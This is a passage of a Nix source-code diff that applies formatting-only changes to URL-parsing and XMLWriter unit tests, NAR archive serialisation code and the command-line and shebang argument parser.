} - - TEST(parseURL, parsesAnythingInUriFormatWithoutDoubleSlash) { - auto s = "whatever:github.com/NixOS/nixpkgs.git"; - auto parsed = parseURL(s); - } - - TEST(parseURL, emptyStringIsInvalidURL) { - ASSERT_THROW(parseURL(""), Error); - } - - /* ---------------------------------------------------------------------------- - * decodeQuery - * --------------------------------------------------------------------------*/ - - TEST(decodeQuery, emptyStringYieldsEmptyMap) { - auto d = decodeQuery(""); - ASSERT_EQ(d, (StringMap) { }); - } - - TEST(decodeQuery, simpleDecode) { - auto d = decodeQuery("yi=one&er=two"); - ASSERT_EQ(d, ((StringMap) { { "yi", "one" }, { "er", "two" } })); - } - - TEST(decodeQuery, decodeUrlEncodedArgs) { - auto d = decodeQuery("arg=%3D%3D%40%3D%3D"); - ASSERT_EQ(d, ((StringMap) { { "arg", "==@==" } })); - } - - TEST(decodeQuery, decodeArgWithEmptyValue) { - auto d = decodeQuery("arg="); - ASSERT_EQ(d, ((StringMap) { { "arg", ""} })); - } - - /* ---------------------------------------------------------------------------- - * percentDecode - * --------------------------------------------------------------------------*/ - - TEST(percentDecode, decodesUrlEncodedString) { - std::string s = "==@=="; - std::string d = percentDecode("%3D%3D%40%3D%3D"); - ASSERT_EQ(d, s); - } - - TEST(percentDecode, multipleDecodesAreIdempotent) { - std::string once = percentDecode("%3D%3D%40%3D%3D"); - std::string twice = percentDecode(once); - - ASSERT_EQ(once, twice); - } - - TEST(percentDecode, trailingPercent) { - std::string s = "==@==%"; - std::string d = percentDecode("%3D%3D%40%3D%3D%25"); - - ASSERT_EQ(d, s); - } - - - /* ---------------------------------------------------------------------------- - * percentEncode - * --------------------------------------------------------------------------*/ - - TEST(percentEncode, encodesUrlEncodedString) { - std::string s = percentEncode("==@=="); - std::string d = "%3D%3D%40%3D%3D"; - ASSERT_EQ(d, s); - } - - TEST(percentEncode, keepArgument) { - std::string a = percentEncode("abd / def"); - std::string b = percentEncode("abd / def", "/"); - ASSERT_EQ(a, "abd%20%2F%20def"); - ASSERT_EQ(b, "abd%20/%20def"); - } - - TEST(percentEncode, inverseOfDecode) { - std::string original = "%3D%3D%40%3D%3D"; - std::string once = percentEncode(original); - std::string back = percentDecode(once); - - ASSERT_EQ(back, original); - } - - TEST(percentEncode, trailingPercent) { - std::string s = percentEncode("==@==%"); - std::string d = "%3D%3D%40%3D%3D%25"; - - ASSERT_EQ(d, s); - } - - TEST(percentEncode, yen) { - // https://en.wikipedia.org/wiki/Percent-encoding#Character_data - std::string s = reinterpret_cast(u8"円"); - std::string e = "%E5%86%86"; - - ASSERT_EQ(percentEncode(s), e); - ASSERT_EQ(percentDecode(e), s); - } - -TEST(nix, isValidSchemeName) { + s += "}"; + return s; +} + +TEST(parseURL, parsesSimpleHttpUrl) +{ + auto s = "http://www.example.org/file.tar.gz"; + auto parsed = parseURL(s); + + ParsedURL expected{ + .scheme = "http", + .authority = "www.example.org", + .path = "/file.tar.gz", + .query = (StringMap) {}, + .fragment = "", + }; + + ASSERT_EQ(parsed, expected); +} + +TEST(parseURL, parsesSimpleHttpsUrl) +{ + auto s = "https://www.example.org/file.tar.gz"; + auto parsed = parseURL(s); + + ParsedURL expected{ + .scheme = "https", + .authority = "www.example.org", + .path = "/file.tar.gz", + .query = (StringMap) {}, + .fragment = "", + }; + + ASSERT_EQ(parsed, expected); +} + +TEST(parseURL, parsesSimpleHttpUrlWithQueryAndFragment) +{ + auto s = "https://www.example.org/file.tar.gz?download=fast&when=now#hello"; + auto parsed = parseURL(s); + + ParsedURL expected{ + .scheme = "https", + .authority = "www.example.org", + .path = "/file.tar.gz", + .query = (StringMap) {{"download", "fast"}, {"when", "now"}}, + .fragment = "hello", + }; + + ASSERT_EQ(parsed, expected); +} + +TEST(parseURL, parsesSimpleHttpUrlWithComplexFragment) +{ + auto s = "http://www.example.org/file.tar.gz?field=value#?foo=bar%23"; + auto parsed = parseURL(s); + + ParsedURL expected{ + .scheme = "http", + .authority = "www.example.org", + .path = "/file.tar.gz", + .query = (StringMap) {{"field", "value"}}, + .fragment = "?foo=bar#", + }; + + ASSERT_EQ(parsed, expected); +} + +TEST(parseURL, parsesFilePlusHttpsUrl) +{ + auto s = "file+https://www.example.org/video.mp4"; + auto parsed = parseURL(s); + + ParsedURL expected{ + .scheme = "file+https", + .authority = "www.example.org", + .path = "/video.mp4", + .query = (StringMap) {}, + .fragment = "", + }; + + ASSERT_EQ(parsed, expected); +} + +TEST(parseURL, rejectsAuthorityInUrlsWithFileTransportation) +{ + auto s = "file://www.example.org/video.mp4"; + ASSERT_THROW(parseURL(s), Error); +} + +TEST(parseURL, parseIPv4Address) +{ + auto s = "http://127.0.0.1:8080/file.tar.gz?download=fast&when=now#hello"; + auto parsed = parseURL(s); + + ParsedURL expected{ + .scheme = "http", + .authority = "127.0.0.1:8080", + .path = "/file.tar.gz", + .query = (StringMap) {{"download", "fast"}, {"when", "now"}}, + .fragment = "hello", + }; + + ASSERT_EQ(parsed, expected); +} + +TEST(parseURL, parseScopedRFC4007IPv6Address) +{ + auto s = "http://[fe80::818c:da4d:8975:415c\%enp0s25]:8080"; + auto parsed = parseURL(s); + + ParsedURL expected{ + .scheme = "http", + .authority = "[fe80::818c:da4d:8975:415c\%enp0s25]:8080", + .path = "", + .query = (StringMap) {}, + .fragment = "", + }; + + ASSERT_EQ(parsed, expected); +} + +TEST(parseURL, parseIPv6Address) +{ + auto s = "http://[2a02:8071:8192:c100:311d:192d:81ac:11ea]:8080"; + auto parsed = parseURL(s); + + ParsedURL expected{ + .scheme = "http", + .authority = "[2a02:8071:8192:c100:311d:192d:81ac:11ea]:8080", + .path = "", + .query = (StringMap) {}, + .fragment = "", + }; + + ASSERT_EQ(parsed, expected); +} + +TEST(parseURL, parseEmptyQueryParams) +{ + auto s = "http://127.0.0.1:8080/file.tar.gz?&&&&&"; + auto parsed = parseURL(s); + ASSERT_EQ(parsed.query, (StringMap) {}); +} + +TEST(parseURL, parseUserPassword) +{ + auto s = "http://user:pass@www.example.org:8080/file.tar.gz"; + auto parsed = parseURL(s); + + ParsedURL expected{ + .scheme = "http", + .authority = "user:pass@www.example.org:8080", + .path = "/file.tar.gz", + .query = (StringMap) {}, + .fragment = "", + }; + + ASSERT_EQ(parsed, expected); +} + +TEST(parseURL, parseFileURLWithQueryAndFragment) +{ + auto s = "file:///none/of//your/business"; + auto parsed = parseURL(s); + + ParsedURL expected{ + .scheme = "file", + .authority = "", + .path = "/none/of//your/business", + .query = (StringMap) {}, + .fragment = "", + }; + + ASSERT_EQ(parsed, expected); +} + +TEST(parseURL, parsedUrlsIsEqualToItself) +{ + auto s = "http://www.example.org/file.tar.gz"; + auto url = parseURL(s); + + ASSERT_TRUE(url == url); +} + +TEST(parseURL, parseFTPUrl) +{ + auto s = "ftp://ftp.nixos.org/downloads/nixos.iso"; + auto parsed = parseURL(s); + + ParsedURL expected{ + .scheme = "ftp", + .authority = "ftp.nixos.org", + .path = "/downloads/nixos.iso", + .query = (StringMap) {}, + .fragment = "", + }; + + ASSERT_EQ(parsed, expected); +} + +TEST(parseURL, parsesAnythingInUriFormat) +{ + auto s = "whatever://github.com/NixOS/nixpkgs.git"; + auto parsed = parseURL(s); +} + +TEST(parseURL, parsesAnythingInUriFormatWithoutDoubleSlash) +{ + auto s = "whatever:github.com/NixOS/nixpkgs.git"; + auto parsed = parseURL(s); +} + +TEST(parseURL, emptyStringIsInvalidURL) +{ + ASSERT_THROW(parseURL(""), Error); +} + +/* ---------------------------------------------------------------------------- + * decodeQuery + * --------------------------------------------------------------------------*/ + +TEST(decodeQuery, emptyStringYieldsEmptyMap) +{ + auto d = decodeQuery(""); + ASSERT_EQ(d, (StringMap) {}); +} + +TEST(decodeQuery, simpleDecode) +{ + auto d = decodeQuery("yi=one&er=two"); + ASSERT_EQ(d, ((StringMap) {{"yi", "one"}, {"er", "two"}})); +} + +TEST(decodeQuery, decodeUrlEncodedArgs) +{ + auto d = decodeQuery("arg=%3D%3D%40%3D%3D"); + ASSERT_EQ(d, ((StringMap) {{"arg", "==@=="}})); +} + +TEST(decodeQuery, decodeArgWithEmptyValue) +{ + auto d = decodeQuery("arg="); + ASSERT_EQ(d, ((StringMap) {{"arg", ""}})); +} + +/* ---------------------------------------------------------------------------- + * percentDecode + * --------------------------------------------------------------------------*/ + +TEST(percentDecode, decodesUrlEncodedString) +{ + std::string s = "==@=="; + std::string d = percentDecode("%3D%3D%40%3D%3D"); + ASSERT_EQ(d, s); +} + +TEST(percentDecode, multipleDecodesAreIdempotent) +{ + std::string once = percentDecode("%3D%3D%40%3D%3D"); + std::string twice = percentDecode(once); + + ASSERT_EQ(once, twice); +} + +TEST(percentDecode, trailingPercent) +{ + std::string s = "==@==%"; + std::string d = percentDecode("%3D%3D%40%3D%3D%25"); + + ASSERT_EQ(d, s); +} + +/* ---------------------------------------------------------------------------- + * percentEncode + * --------------------------------------------------------------------------*/ + +TEST(percentEncode, encodesUrlEncodedString) +{ + std::string s = percentEncode("==@=="); + std::string d = "%3D%3D%40%3D%3D"; + ASSERT_EQ(d, s); +} + +TEST(percentEncode, keepArgument) +{ + std::string a = percentEncode("abd / def"); + std::string b = percentEncode("abd / def", "/"); + ASSERT_EQ(a, "abd%20%2F%20def"); + ASSERT_EQ(b, "abd%20/%20def"); +} + +TEST(percentEncode, inverseOfDecode) +{ + std::string original = "%3D%3D%40%3D%3D"; + std::string once = percentEncode(original); + std::string back = percentDecode(once); + + ASSERT_EQ(back, original); +} + +TEST(percentEncode, trailingPercent) +{ + std::string s = percentEncode("==@==%"); + std::string d = "%3D%3D%40%3D%3D%25"; + + ASSERT_EQ(d, s); +} + +TEST(percentEncode, yen) +{ + // https://en.wikipedia.org/wiki/Percent-encoding#Character_data + std::string s = reinterpret_cast(u8"円"); + std::string e = "%E5%86%86"; + + ASSERT_EQ(percentEncode(s), e); + ASSERT_EQ(percentDecode(e), s); +} + +TEST(nix, isValidSchemeName) +{ ASSERT_TRUE(isValidSchemeName("http")); ASSERT_TRUE(isValidSchemeName("https")); ASSERT_TRUE(isValidSchemeName("file")); diff --git a/src/libutil-tests/xml-writer.cc b/src/libutil-tests/xml-writer.cc index 000af700c..acd33fd1a 100644 --- a/src/libutil-tests/xml-writer.cc +++ b/src/libutil-tests/xml-writer.cc @@ -4,102 +4,101 @@ namespace nix { - /* ---------------------------------------------------------------------------- - * XMLWriter - * --------------------------------------------------------------------------*/ +/* ---------------------------------------------------------------------------- + * XMLWriter + * --------------------------------------------------------------------------*/ - TEST(XMLWriter, emptyObject) { - std::stringstream out; - { - XMLWriter t(false, out); - } - - ASSERT_EQ(out.str(), "\n"); +TEST(XMLWriter, emptyObject) +{ + std::stringstream out; + { + XMLWriter t(false, out); } - TEST(XMLWriter, objectWithEmptyElement) { - std::stringstream out; - { - XMLWriter t(false, out); - t.openElement("foobar"); - } + ASSERT_EQ(out.str(), "\n"); +} - ASSERT_EQ(out.str(), "\n"); +TEST(XMLWriter, objectWithEmptyElement) +{ + std::stringstream out; + { + XMLWriter t(false, out); + t.openElement("foobar"); } - TEST(XMLWriter, objectWithElementWithAttrs) { - std::stringstream out; - { - XMLWriter t(false, out); - XMLAttrs attrs = { - { "foo", "bar" } - }; - t.openElement("foobar", attrs); - } + ASSERT_EQ(out.str(), "\n"); +} - ASSERT_EQ(out.str(), "\n"); +TEST(XMLWriter, objectWithElementWithAttrs) +{ + std::stringstream out; + { + XMLWriter t(false, out); + XMLAttrs attrs = {{"foo", "bar"}}; + t.openElement("foobar", attrs); } - TEST(XMLWriter, objectWithElementWithEmptyAttrs) { - std::stringstream out; - { - XMLWriter t(false, out); - XMLAttrs attrs = {}; - t.openElement("foobar", attrs); - } + ASSERT_EQ(out.str(), "\n"); +} - ASSERT_EQ(out.str(), "\n"); +TEST(XMLWriter, objectWithElementWithEmptyAttrs) +{ + std::stringstream out; + { + XMLWriter t(false, out); + XMLAttrs attrs = {}; + t.openElement("foobar", attrs); } - TEST(XMLWriter, objectWithElementWithAttrsEscaping) { - std::stringstream out; - { - XMLWriter t(false, out); - XMLAttrs attrs = { - { "", "" } - }; - t.openElement("foobar", attrs); - } + ASSERT_EQ(out.str(), "\n"); +} - // XXX: While "" is escaped, "" isn't which I think is a bug. - ASSERT_EQ(out.str(), "\n=\"<value>\">"); +TEST(XMLWriter, objectWithElementWithAttrsEscaping) +{ + std::stringstream out; + { + XMLWriter t(false, out); + XMLAttrs attrs = {{"", ""}}; + t.openElement("foobar", attrs); } - TEST(XMLWriter, objectWithElementWithAttrsIndented) { - std::stringstream out; - { - XMLWriter t(true, out); - XMLAttrs attrs = { - { "foo", "bar" } - }; - t.openElement("foobar", attrs); - } + // XXX: While "" is escaped, "" isn't which I think is a bug. + ASSERT_EQ(out.str(), "\n=\"<value>\">"); +} - ASSERT_EQ(out.str(), "\n\n\n"); +TEST(XMLWriter, objectWithElementWithAttrsIndented) +{ + std::stringstream out; + { + XMLWriter t(true, out); + XMLAttrs attrs = {{"foo", "bar"}}; + t.openElement("foobar", attrs); } - TEST(XMLWriter, writeEmptyElement) { - std::stringstream out; - { - XMLWriter t(false, out); - t.writeEmptyElement("foobar"); - } + ASSERT_EQ(out.str(), "\n\n\n"); +} - ASSERT_EQ(out.str(), "\n"); +TEST(XMLWriter, writeEmptyElement) +{ + std::stringstream out; + { + XMLWriter t(false, out); + t.writeEmptyElement("foobar"); } - TEST(XMLWriter, writeEmptyElementWithAttributes) { - std::stringstream out; - { - XMLWriter t(false, out); - XMLAttrs attrs = { - { "foo", "bar" } - }; - t.writeEmptyElement("foobar", attrs); + ASSERT_EQ(out.str(), "\n"); +} - } - - ASSERT_EQ(out.str(), "\n"); +TEST(XMLWriter, writeEmptyElementWithAttributes) +{ + std::stringstream out; + { + XMLWriter t(false, out); + XMLAttrs attrs = {{"foo", "bar"}}; + t.writeEmptyElement("foobar", attrs); } + ASSERT_EQ(out.str(), "\n"); +} + } diff --git a/src/libutil/archive.cc b/src/libutil/archive.cc index 487873ce6..45ab33f32 100644 --- a/src/libutil/archive.cc +++ b/src/libutil/archive.cc @@ -16,12 +16,13 @@ namespace nix { struct ArchiveSettings : Config { - Setting useCaseHack{this, - #ifdef __APPLE__ - true, - #else - false, - #endif + Setting useCaseHack{ + this, +#ifdef __APPLE__ + true, +#else + false, +#endif "use-case-hack", "Whether to enable a macOS-specific hack for dealing with file name case collisions."}; }; @@ -32,18 +33,12 @@ static GlobalConfig::Register rArchiveSettings(&archiveSettings); PathFilter defaultPathFilter = [](const Path &) { return true; }; - -void SourceAccessor::dumpPath( - const CanonPath & path, - Sink & sink, - PathFilter & filter) +void SourceAccessor::dumpPath(const CanonPath & path, Sink & sink, PathFilter & filter) { - auto dumpContents = [&](const CanonPath & path) - { + auto dumpContents = [&](const CanonPath & path) { sink << "contents"; std::optional size; - readFile(path, sink, [&](uint64_t _size) - { + readFile(path, sink, [&](uint64_t _size) { size = _size; sink << _size; }); @@ -82,9 +77,8 @@ void SourceAccessor::dumpPath( name.erase(pos); } if (!unhacked.emplace(name, i.first).second) - throw Error("file name collision between '%s' and '%s'", - (path / unhacked[name]), - (path / i.first)); + throw Error( + "file name collision between '%s' and '%s'", (path / unhacked[name]), (path / i.first)); } else unhacked.emplace(i.first, i.first); @@ -99,7 +93,8 @@ void SourceAccessor::dumpPath( else if (st.type == tSymlink) sink << "type" << "symlink" << "target" << readLink(path); - else throw Error("file '%s' has an unsupported type", path); + else + throw Error("file '%s' has an unsupported type", path); sink << ")"; }; @@ -108,7 +103,6 @@ void SourceAccessor::dumpPath( dump(path); } - time_t dumpPathAndGetMtime(const Path & path, Sink & sink, PathFilter & filter) { auto path2 = PosixSourceAccessor::createAtRoot(path); @@ -121,20 +115,17 @@ void dumpPath(const Path & path, Sink & sink, PathFilter & filter) dumpPathAndGetMtime(path, sink, filter); } - void dumpString(std::string_view s, Sink & sink) { sink << narVersionMagic1 << "(" << "type" << "regular" << "contents" << s << ")"; } - template -static SerialisationError badArchive(std::string_view s, const Args & ... args) +static SerialisationError badArchive(std::string_view s, const Args &... args) { return SerialisationError("bad archive: " + s, args...); } - static void parseContents(CreateRegularFileSink & sink, Source & source) { uint64_t size = readLongLong(source); @@ -147,7 +138,8 @@ static void parseContents(CreateRegularFileSink & sink, Source & source) while (left) { checkInterrupt(); auto n = buf.size(); - if ((uint64_t)n > left) n = left; + if ((uint64_t) n > left) + n = left; source(buf.data(), n); sink({buf.data(), n}); left -= n; @@ -156,16 +148,14 @@ static void parseContents(CreateRegularFileSink & sink, Source & source) readPadding(size, source); } - struct CaseInsensitiveCompare { - bool operator() (const std::string & a, const std::string & b) const + bool operator()(const std::string & a, const std::string & b) const { return strcasecmp(a.c_str(), b.c_str()) < 0; } }; - static void parse(FileSystemObjectSink & sink, Source & source, const CanonPath & path) { auto getString = [&]() { @@ -191,7 +181,8 @@ static void parse(FileSystemObjectSink & sink, Source & source, const CanonPath if (tag == "executable") { auto s2 = getString(); - if (s2 != "") throw badArchive("executable marker has non-empty value"); + if (s2 != "") + throw badArchive("executable marker has non-empty value"); crf.isExecutable(); tag = getString(); } @@ -213,7 +204,8 @@ static void parse(FileSystemObjectSink & sink, Source & source, const CanonPath while (1) { auto tag = getString(); - if (tag == ")") break; + if (tag == ")") + break; if (tag != "entry") throw badArchive("expected tag 'entry' or ')', got '%s'", tag); @@ -223,7 +215,8 @@ static void parse(FileSystemObjectSink & sink, Source & source, const CanonPath expectTag("name"); auto name = getString(); - if (name.empty() || name == "." || name == ".." || name.find('/') != std::string::npos || name.find((char) 0) != std::string::npos) + if (name.empty() || name == "." || name == ".." || name.find('/') != std::string::npos + || name.find((char) 0) != std::string::npos) throw badArchive("NAR contains invalid file name '%1%'", name); if (name <= prevName) throw badArchive("NAR directory is not sorted"); @@ -236,7 +229,10 @@ static void parse(FileSystemObjectSink & sink, Source & source, const CanonPath name += std::to_string(++i->second); auto j = names.find(name); if (j != names.end()) - throw badArchive("NAR contains file name '%s' that collides with case-hacked file name '%s'", prevName, j->first); + throw badArchive( + "NAR contains file name '%s' that collides with case-hacked file name '%s'", + prevName, + j->first); } else names[name] = 0; } @@ -258,10 +254,10 @@ static void parse(FileSystemObjectSink & sink, Source & source, const CanonPath expectTag(")"); } - else throw badArchive("unknown file type '%s'", type); + else + throw badArchive("unknown file type '%s'", type); } - void parseDump(FileSystemObjectSink & sink, Source & source) { std::string version; @@ -276,7 +272,6 @@ void parseDump(FileSystemObjectSink & sink, Source & source) parse(sink, source, CanonPath::root); } - void restorePath(const std::filesystem::path & path, Source & source, bool startFsync) { RestoreSink sink{startFsync}; @@ -284,7 +279,6 @@ void restorePath(const std::filesystem::path & path, Source & source, bool start parseDump(sink, source); } - void copyNAR(Source & source, Sink & sink) { // FIXME: if 'source' is the output of dumpPath() followed by EOF, @@ -292,10 +286,9 @@ void copyNAR(Source & source, Sink & sink) NullFileSystemObjectSink parseSink; /* just parse the NAR */ - TeeSource wrapper { source, sink }; + TeeSource wrapper{source, sink}; parseDump(parseSink, wrapper); } - } diff --git a/src/libutil/args.cc b/src/libutil/args.cc index fb9d7163c..0b3aff644 100644 --- a/src/libutil/args.cc +++ b/src/libutil/args.cc @@ -10,7 +10,7 @@ #include #include #ifndef _WIN32 -# include +# include #endif namespace nix { @@ -24,14 +24,16 @@ void Args::addFlag(Flag && flag_) longFlags[flag->longName] = flag; for (auto & alias : flag->aliases) longFlags[alias] = flag; - if (flag->shortName) shortFlags[flag->shortName] = flag; + if (flag->shortName) + shortFlags[flag->shortName] = flag; } void Args::removeFlag(const std::string & longName) { auto flag = longFlags.find(longName); assert(flag != longFlags.end()); - if (flag->second->shortName) shortFlags.erase(flag->second->shortName); + if (flag->second->shortName) + shortFlags.erase(flag->second->shortName); longFlags.erase(flag); } @@ -51,10 +53,7 @@ void Completions::add(std::string completion, std::string description) if (needs_ellipsis) description.append(" [...]"); } - completions.insert(Completion { - .completion = completion, - .description = description - }); + completions.insert(Completion{.completion = completion, .description = description}); } auto Completion::operator<=>(const Completion & other) const noexcept = default; @@ -74,7 +73,8 @@ RootArgs & Args::getRoot() std::optional RootArgs::needsCompletion(std::string_view s) { - if (!completions) return {}; + if (!completions) + return {}; auto i = s.find(completionMarker); if (i != std::string::npos) return std::string(s.begin(), i); @@ -86,7 +86,8 @@ std::optional RootArgs::needsCompletion(std::string_view s) * * Except we can't recursively reference the Parser typedef, so we have to write a class. */ -struct Parser { +struct Parser +{ std::string_view remaining; /** @@ -94,12 +95,14 @@ struct Parser { */ virtual void operator()(std::shared_ptr & state, Strings & r) = 0; - Parser(std::string_view s) : remaining(s) {}; + Parser(std::string_view s) + : remaining(s) {}; - virtual ~Parser() { }; + virtual ~Parser() {}; }; -struct ParseQuoted : public Parser { +struct ParseQuoted : public Parser +{ /** * @brief Accumulated string * @@ -107,13 +110,14 @@ struct ParseQuoted : public Parser { */ std::string acc; - ParseQuoted(std::string_view s) : Parser(s) {}; + ParseQuoted(std::string_view s) + : Parser(s) {}; virtual void operator()(std::shared_ptr & state, Strings & r) override; }; - -struct ParseUnquoted : public Parser { +struct ParseUnquoted : public Parser +{ /** * @brief Accumulated string * @@ -122,9 +126,11 @@ struct ParseUnquoted : public Parser { */ std::string acc; - ParseUnquoted(std::string_view s) : Parser(s) {}; + ParseUnquoted(std::string_view s) + : Parser(s) {}; - virtual void operator()(std::shared_ptr & state, Strings & r) override { + virtual void operator()(std::shared_ptr & state, Strings & r) override + { if (remaining.empty()) { if (!acc.empty()) r.push_back(acc); @@ -132,111 +138,116 @@ struct ParseUnquoted : public Parser { return; } switch (remaining[0]) { - case ' ': case '\t': case '\n': case '\r': - if (!acc.empty()) - r.push_back(acc); - state = std::make_shared(ParseUnquoted(remaining.substr(1))); + case ' ': + case '\t': + case '\n': + case '\r': + if (!acc.empty()) + r.push_back(acc); + state = std::make_shared(ParseUnquoted(remaining.substr(1))); + return; + case '`': + if (remaining.size() > 1 && remaining[1] == '`') { + state = std::make_shared(ParseQuoted(remaining.substr(2))); return; - case '`': - if (remaining.size() > 1 && remaining[1] == '`') { - state = std::make_shared(ParseQuoted(remaining.substr(2))); - return; - } - else - throw Error("single backtick is not a supported syntax in the nix shebang."); + } else + throw Error("single backtick is not a supported syntax in the nix shebang."); - // reserved characters - // meaning to be determined, or may be reserved indefinitely so that - // #!nix syntax looks unambiguous - case '$': - case '*': - case '~': - case '<': - case '>': - case '|': - case ';': - case '(': - case ')': - case '[': - case ']': - case '{': - case '}': - case '\'': - case '"': - case '\\': - throw Error("unsupported unquoted character in nix shebang: " + std::string(1, remaining[0]) + ". Use double backticks to escape?"); + // reserved characters + // meaning to be determined, or may be reserved indefinitely so that + // #!nix syntax looks unambiguous + case '$': + case '*': + case '~': + case '<': + case '>': + case '|': + case ';': + case '(': + case ')': + case '[': + case ']': + case '{': + case '}': + case '\'': + case '"': + case '\\': + throw Error( + "unsupported unquoted character in nix shebang: " + std::string(1, remaining[0]) + + ". Use double backticks to escape?"); - case '#': - if (acc.empty()) { - throw Error ("unquoted nix shebang argument cannot start with #. Use double backticks to escape?"); - } else { - acc += remaining[0]; - remaining = remaining.substr(1); - return; - } - - default: + case '#': + if (acc.empty()) { + throw Error("unquoted nix shebang argument cannot start with #. Use double backticks to escape?"); + } else { acc += remaining[0]; remaining = remaining.substr(1); return; + } + + default: + acc += remaining[0]; + remaining = remaining.substr(1); + return; } assert(false); } }; -void ParseQuoted::operator()(std::shared_ptr &state, Strings & r) { +void ParseQuoted::operator()(std::shared_ptr & state, Strings & r) +{ if (remaining.empty()) { throw Error("unterminated quoted string in nix shebang"); } switch (remaining[0]) { - case ' ': - if ((remaining.size() == 3 && remaining[1] == '`' && remaining[2] == '`') - || (remaining.size() > 3 && remaining[1] == '`' && remaining[2] == '`' && remaining[3] != '`')) { - // exactly two backticks mark the end of a quoted string, but a preceding space is ignored if present. - state = std::make_shared(ParseUnquoted(remaining.substr(3))); - r.push_back(acc); - return; - } - else { - // just a normal space - acc += remaining[0]; - remaining = remaining.substr(1); - return; - } - case '`': - // exactly two backticks mark the end of a quoted string - if ((remaining.size() == 2 && remaining[1] == '`') - || (remaining.size() > 2 && remaining[1] == '`' && remaining[2] != '`')) { - state = std::make_shared(ParseUnquoted(remaining.substr(2))); - r.push_back(acc); - return; - } - - // a sequence of at least 3 backticks is one escape-backtick which is ignored, followed by any number of backticks, which are verbatim - else if (remaining.size() >= 3 && remaining[1] == '`' && remaining[2] == '`') { - // ignore "escape" backtick - remaining = remaining.substr(1); - // add the rest - while (remaining.size() > 0 && remaining[0] == '`') { - acc += '`'; - remaining = remaining.substr(1); - } - return; - } - else { - acc += remaining[0]; - remaining = remaining.substr(1); - return; - } - default: + case ' ': + if ((remaining.size() == 3 && remaining[1] == '`' && remaining[2] == '`') + || (remaining.size() > 3 && remaining[1] == '`' && remaining[2] == '`' && remaining[3] != '`')) { + // exactly two backticks mark the end of a quoted string, but a preceding space is ignored if present. + state = std::make_shared(ParseUnquoted(remaining.substr(3))); + r.push_back(acc); + return; + } else { + // just a normal space acc += remaining[0]; remaining = remaining.substr(1); return; + } + case '`': + // exactly two backticks mark the end of a quoted string + if ((remaining.size() == 2 && remaining[1] == '`') + || (remaining.size() > 2 && remaining[1] == '`' && remaining[2] != '`')) { + state = std::make_shared(ParseUnquoted(remaining.substr(2))); + r.push_back(acc); + return; + } + + // a sequence of at least 3 backticks is one escape-backtick which is ignored, followed by any number of + // backticks, which are verbatim + else if (remaining.size() >= 3 && remaining[1] == '`' && remaining[2] == '`') { + // ignore "escape" backtick + remaining = remaining.substr(1); + // add the rest + while (remaining.size() > 0 && remaining[0] == '`') { + acc += '`'; + remaining = remaining.substr(1); + } + return; + } else { + acc += remaining[0]; + remaining = remaining.substr(1); + return; + } + default: + acc += remaining[0]; + remaining = remaining.substr(1); + return; } assert(false); } -Strings parseShebangContent(std::string_view s) { +Strings parseShebangContent(std::string_view s) +{ Strings result; std::shared_ptr parserState(std::make_shared(ParseUnquoted(s))); @@ -268,22 +279,22 @@ void RootArgs::parseCmdline(const Strings & _cmdline, bool allowShebang) // if we have at least one argument, it's the name of an // executable file, and it starts with "#!". Strings savedArgs; - if (allowShebang){ + if (allowShebang) { auto script = *cmdline.begin(); try { std::ifstream stream(script); - char shebang[3]={0,0,0}; - stream.get(shebang,3); - if (strncmp(shebang,"#!",2) == 0){ - for (auto pos = std::next(cmdline.begin()); pos != cmdline.end();pos++) + char shebang[3] = {0, 0, 0}; + stream.get(shebang, 3); + if (strncmp(shebang, "#!", 2) == 0) { + for (auto pos = std::next(cmdline.begin()); pos != cmdline.end(); pos++) savedArgs.push_back(*pos); cmdline.clear(); std::string line; - std::getline(stream,line); + std::getline(stream, line); static const std::string commentChars("#/\\%@*-("); std::string shebangContent; - while (std::getline(stream,line) && !line.empty() && commentChars.find(line[0]) != std::string::npos){ + while (std::getline(stream, line) && !line.empty() && commentChars.find(line[0]) != std::string::npos) { line = chomp(line); std::smatch match; @@ -297,12 +308,13 @@ void RootArgs::parseCmdline(const Strings & _cmdline, bool allowShebang) } cmdline.push_back(script); commandBaseDir = dirOf(script); - for (auto pos = savedArgs.begin(); pos != savedArgs.end();pos++) + for (auto pos = savedArgs.begin(); pos != savedArgs.end(); pos++) cmdline.push_back(*pos); } - } catch (SystemError &) { } + } catch (SystemError &) { + } } - for (auto pos = cmdline.begin(); pos != cmdline.end(); ) { + for (auto pos = cmdline.begin(); pos != cmdline.end();) { auto arg = *pos; @@ -310,7 +322,8 @@ void RootArgs::parseCmdline(const Strings & _cmdline, bool allowShebang) `-j3` -> `-j 3`). */ if (!dashDash && arg.length() > 2 && arg[0] == '-' && arg[1] != '-' && isalpha(arg[1])) { *pos = (std::string) "-" + arg[1]; - auto next = pos; ++next; + auto next = pos; + ++next; for (unsigned int j = 2; j < arg.length(); j++) if (isalpha(arg[j])) cmdline.insert(next, (std::string) "-" + arg[j]); @@ -324,12 +337,10 @@ void RootArgs::parseCmdline(const Strings & _cmdline, bool allowShebang) if (!dashDash && arg == "--") { dashDash = true; ++pos; - } - else if (!dashDash && std::string(arg, 0, 1) == "-") { + } else if (!dashDash && std::string(arg, 0, 1) == "-") { if (!processFlag(pos, cmdline.end())) throw UsageError("unrecognised flag '%1%'", arg); - } - else { + } else { pos = rewriteArgs(cmdline, pos); pendingArgs.push_back(*pos++); if (processArgs(pendingArgs, false)) @@ -377,12 +388,12 @@ bool Args::processFlag(Strings::iterator & pos, Strings::iterator end) std::vector args; bool anyCompleted = false; - for (size_t n = 0 ; n < flag.handler.arity; ++n) { + for (size_t n = 0; n < flag.handler.arity; ++n) { if (pos == end) { - if (flag.handler.arity == ArityAny || anyCompleted) break; + if (flag.handler.arity == ArityAny || anyCompleted) + break; throw UsageError( - "flag '%s' requires %d argument(s), but only %d were given", - name, flag.handler.arity, n); + "flag '%s' requires %d argument(s), but only %d were given", name, flag.handler.arity, n); } if (auto prefix = rootArgs.needsCompletion(*pos)) { anyCompleted = true; @@ -404,9 +415,7 @@ bool Args::processFlag(Strings::iterator & pos, Strings::iterator end) if (std::string(*pos, 0, 2) == "--") { if (auto prefix = rootArgs.needsCompletion(*pos)) { for (auto & [name, flag] : longFlags) { - if (!hiddenCategories.count(flag->category) - && hasPrefix(name, std::string(*prefix, 2))) - { + if (!hiddenCategories.count(flag->category) && hasPrefix(name, std::string(*prefix, 2))) { if (auto & f = flag->experimentalFeature) rootArgs.flagExperimentalFeatures.insert(*f); rootArgs.completions->add("--" + name, flag->description); @@ -415,14 +424,16 @@ bool Args::processFlag(Strings::iterator & pos, Strings::iterator end) return false; } auto i = longFlags.find(std::string(*pos, 2)); - if (i == longFlags.end()) return false; + if (i == longFlags.end()) + return false; return process("--" + i->first, *i->second); } if 